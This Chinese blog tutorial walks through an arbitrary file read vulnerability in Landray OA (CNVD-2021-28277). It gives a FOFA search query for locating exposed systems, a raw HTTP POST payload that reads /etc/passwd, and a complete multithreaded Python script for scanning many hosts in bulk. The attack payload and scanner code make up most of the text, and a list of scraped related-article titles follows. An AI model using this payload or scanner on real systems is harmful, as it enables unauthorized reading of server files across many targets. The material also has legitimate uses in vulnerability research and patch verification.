0x00 前言

CNVD-2021-28277
蓝凌软件全称深圳市蓝凌软件股份有限公司,于2001年在深圳科技园成立。蓝凌是国内知名的大平台OA服务商和国内领先的知识管理解决方案提供商,是专业从事组织的知识化咨询、软件研发、实施、技术服务的国家级高新技术企业,Landray-OA系统被爆出存任意文件读取漏洞。

0x01 fofa 查询语句

app=“Landray-OA系统”

0x02 漏洞位置

POST请求

/sys/ui/extend/varkind/custom.jsp

data:var={“body”:{“file”:“file:///etc/passwd”}}

0x03 漏洞复现

payload

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 42var={"body":{"file":"file:///etc/passwd"}}

0x04 poc编写

4.1 写帮助文档

思考需要的参数
-h --help 帮助文档
-u --url 单个ip测试
-f --file 文件中的所有ip测试

def help():print("""-h --help       打开帮助文档-u --url        对单个ip进行测试-f --file       对文件中的所有ip进行测试""")

4.2 接收用户输入的内容

有了帮助文档 就需要接收用户输入的内容
定义 url_list= [] 列表 用来存储 后续 输入的 ip信息
定义 h u f 参数 u f 后边需要跟内容
help url file 参数 url= file= + 内容
读取到 -u --url 域名 写入 url_list 中
读取到的file文件名 打开 并读取所有内容到列表中 然后关闭
如果报错 提示

import sys
import getoptdef main():opts,args = getopt.getopt(sys.argv[1:],'hu:f:',['help','url=','file='])url_list = []for o,a in opts:if o in ['-h','--help']:help()elif o in ['-u','--url']:url = aurl_list.append(url)elif o in ['-f','--file']:file = atry:f = open(file,'r')url_list = f.readlines()f.close()except:print('读取文件错误!')

4.3 去掉读取出文件内容的换行符

因为 读取出的文件内容存在换行符
for循环 rstrip() 去掉重新加入到urls 列表中

urls = []for i in url_list:urls.append(i.rstrip('\n'))

4.4 加入多线程处理

== 注意使用多线程 时调用的scan()函数要加上try: except(): 其中有一处错误 不会影响整体运行 ==

引入第三方库
定义最大线程为10
扫描次数为 列表数 即存在的ip数
初始扫描次数为0
开始死循环
如果当前线程数-主线程 < 最大线程数 并且 当前扫描次数 小于 要扫描的最大次数(存在的ip数):
建立一个sacn() 线程, url参数就为 第num个列表值
开始运行线程
num = num+1 表示之后开始用下一个列表值
如果 num >=max_num:
输出没有新的目标了。 表示urls列表已经扫完了
此时如果 存活的线程-主线程 =0 的话
说明 所有子线程运行结束 即表示所有扫描结束。
就输出 所有扫描结束

import threadingmax_thread = 10max_num = len(urls)num = 0while(True):if threading.active_count()-1 < max_thread and num < max_num:t = threading.Thread(target=scan,args=(urls[num],))t.start()num+=1if num >= max_num:print('没有新的目标了!')if threading.active_count() -1 == 0:print('所有目标扫描完成!主程序退出')break

4.5 完善扫描模块scan()

== 注意使用多线程 时调用的scan()函数要加上try: except(): 其中有一处错误 不会影响整体运行 ==

定义payload
请求体
请求头
请求功能进行 异常处理 防止多线程时因一处请求不到 导致 中断
根据响应包是否为200并且响应内容中是否存在root 判断是否存在漏洞

import requestsdef scan(url):payload = '/sys/ui/extend/varkind/custom.jsp'target_url = url + payloaddata = 'var={"body":{"file":"file:///etc/passwd"}}'header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36','Accept-Encoding': 'gzip, deflate','Accept': '*/*','Connection': 'close','Content-Type': 'application/x-www-form-urlencoded'}try:re = requests.post(target_url,headers=header,data=data)if re.status_code == 200  and 'root' in re.text:print('存在任意文件读取漏洞 '+target_url)else:print('不存在任意文件读取漏洞 '+target_url)except:print('访问出现错误!')

4.6 测试-u参数不存在漏洞情况


发现在一直处于循环状态 输出没有新的目标了!

思考是因为 目前 num 已经等于了 最大 num数目
但是 下边的if 判断 子线程数还没有 为0 所以没有 break 跳出循环

可以加入 time.sleep(5) 等几秒 应该那个线程就结束 不会输出这么多啦。
修改为


成功

4.7 测试从文件中读取

4.8 完整代码如下

#coding=utf-8
import sys
import getopt
import threading
import requests
import timedef scan(url):payload = '/sys/ui/extend/varkind/custom.jsp'target_url = url + payloaddata = 'var={"body":{"file":"file:///etc/passwd"}}'header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36','Accept-Encoding': 'gzip, deflate','Accept': '*/*','Connection': 'close','Content-Type': 'application/x-www-form-urlencoded'}try:re = requests.post(target_url,headers=header,data=data,timeout=5)if re.status_code == 200  and 'root' in re.text:print('存在任意文件读取漏洞 '+target_url)else:print('不存在任意文件读取漏洞 '+target_url)except:print('访问出现错误!')
def help():print("""-h --help       打开帮助文档-u --url        对单个ip进行测试-f --file       对文件中的所有ip进行测试""")
def main():opts,args = getopt.getopt(sys.argv[1:],'hu:f:',['help','url=','file='])url_list = []for o,a in opts:if o in ['-h','--help']:help()elif o in ['-u','--url']:url = aurl_list.append(url)elif o in ['-f','--file']:file = atry:f = open(file,'r')url_list = f.readlines()f.close()except:print('读取文件错误!')urls = []for i in url_list:urls.append(i.rstrip('\n'))max_thread = 10max_num = len(urls)num = 0while(True):if threading.active_count()-1 < max_thread and num < max_num:t = threading.Thread(target=scan,args=(urls[num],))t.start()num+=1if num >= max_num:print('没有新的目标了!等待当前线程扫描结束!')time.sleep(5)if threading.active_count() -1 == 0:print('所有目标扫描完成!主程序退出')breakmain()

没有搭建本地环境 所以没发出测试存在漏洞的情况

Python 蓝凌OA任意文件读取批量扫描 poc编写相关推荐

  1. 一米OA任意文件读取漏洞

    漏洞描述 一米OA getfile.jsp文件过滤不足,导致任意文件读取漏洞 漏洞影响 一米OA 网络测绘 app="一米OA" 漏洞复现 出现漏洞的文件 <%@

  2. wsgiserver python 漏洞_新型任意文件读取漏洞的研究

    0x00 前言 早前发现boooom在乌云上发了很多个任意文件读取的漏洞,都是形如 http://target/../../../../etc/passwd 这样.当时感觉很新奇,因为正常情况下,通常 ...

  3. python文件审计系统_Python代码审计实战案例总结之CRLF和任意文件读取

    介绍 Python代码审计方法多种多样,但是总而言之是根据前人思路的迁移融合扩展而形成.目前Python代码审计思路,呈现分散和多样的趋势.Python微薄研发经验以及结合实际遇到的思路和技巧进行总结 ...

  4. python文件审计_Python代码审计实战案例总结之CRLF和任意文件读取

    文章目录 介绍 CRLF和任意文件读取的审计实战 CRLF 审计实战 urllib CRLF漏洞(CVE-2019-9740和CVE-2019-9947) httplib CRLF 漏洞 任意文件读取 ...

  5. 任意文件读取与下载漏洞学习

    原理: 任意文件读取漏洞属于文件操作类漏洞,一般常见于PHP/java/python语言中.任意文件读取漏洞,就是可以任意读取服务器上部分或者全部文件的漏洞,攻击者利用此漏洞可以读取服务器敏感文件如/ ...

  6. 蓝海卓越计费管理系统漏洞学习——download.php 任意文件读取漏洞

    警告 请勿使用本文提到的内容违反法律. 本文不提供任何担保 目录 警告 一.概述 二.影响版本 三.漏洞复现 一.概述 蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞,攻击者通 ...

  7. 蓝海卓越 计费管理系统 download.php 任意文件读取漏洞

    漏洞描述: 蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞,攻击者通过 ../ 遍历目录可以读取服务器上的敏感文件. 漏洞利用条件: / 漏洞影响范围: / 漏洞复现: 1.P ...

  8. python和django的目录遍历漏洞(任意文件读取)

    1. 什么是目录遍历漏洞 "目录遍历漏洞"的英文名称是Directory Traversal 或 Path Traversal.指攻击者通过在URL或参数中构造 ../ ..%2F ...

  9. 读取txt原理_Mysql客户端任意文件读取学习

    前言 最近打了 DDCTF和 国赛,发现都考了一个知识点,也就是 MysqlLocalInfile客户端文件读取这个漏洞,下面来详细的学习一个这个漏洞. 漏洞形成原因 此漏洞形成的主要原因在于 LOA ...

  10. 任意文件读取漏洞知识梳理

    文章目录 1.概述 2.开发语言触发点 2.1 PHP 2.2 Python 2.3 Java 2.4 Ruby 2.5 Node 3.中间件/服务器相关触发点 3.1 Nginx错误配置 3.2 数 ...

最新文章

  1. 利用SurfaceView显示正弦曲线,仿造示波器
  2. python软件界面-python软件界面介绍(python软件介绍)
  3. 2019 ICPC World Finals Problem J. Miniature Golf
  4. 通过Rancher安装K8s
  5. LeetCode 131. 分割回文串(回溯)
  6. php从内存中获取源码_PHP源码分析之变量的存储过程分解
  7. MapReduce入门和优化方案
  8. android 表格xml,【Android】利用表格布局,Android中xml文件与java的交互制作登录界面...
  9. [UE4]蓝图的颜色
  10. java中this,super,extends,implements相关继承概念讲解
  11. 在php里bd2什么意思,PSR-2 PHP三元语法中是否需要括号?
  12. 银河麒麟v10下载(服务器版 桌面版) - 2022-09-08更新
  13. ARM64 LFS 11.1编译成功
  14. 《数据结构》第五章 树和二叉树 同学问题收集站
  15. 九度笔记之 1364:v字仇杀队
  16. JDK目录介绍(bin,db,jre,include,lib,src)以及javac,java命令
  17. vscode 代码出现波浪线
  18. 数据结构之线性表及C语言实现
  19. 【操作系统】30天自制操作系统--(9)叠加处理
  20. electron实现远程更新

热门文章

  1. 哪个品牌台灯护眼效果好?分享被央视315表扬的护眼灯
  2. 修复常见ACPI问题(DSDT等)
  3. PCB genesis 大孔扩孔(不用G84命令)实现方法
  4. 两个路由器无线连接教程
  5. sd卡 格式化 命令 linux,在Linux命令行上格式化SD卡、USB驱动器、闪存驱动器的方法...
  6. 视频云服务四路玩家,谁是最大赢家
  7. 本题要求你计算A−B。不过麻烦的是,A和B都是字符串 —— 即从字符串A中把字符串B所包含的字符全删掉,剩下的字符组成的就是字符串A−B。
  8. BZOJ 4567: [Scoi2016]背单词
  9. Transformer课程 业务对话机器人Rasa 3.x Reaching Out to the User
  10. 【响应式Web前端设计】i标签和em标签的区别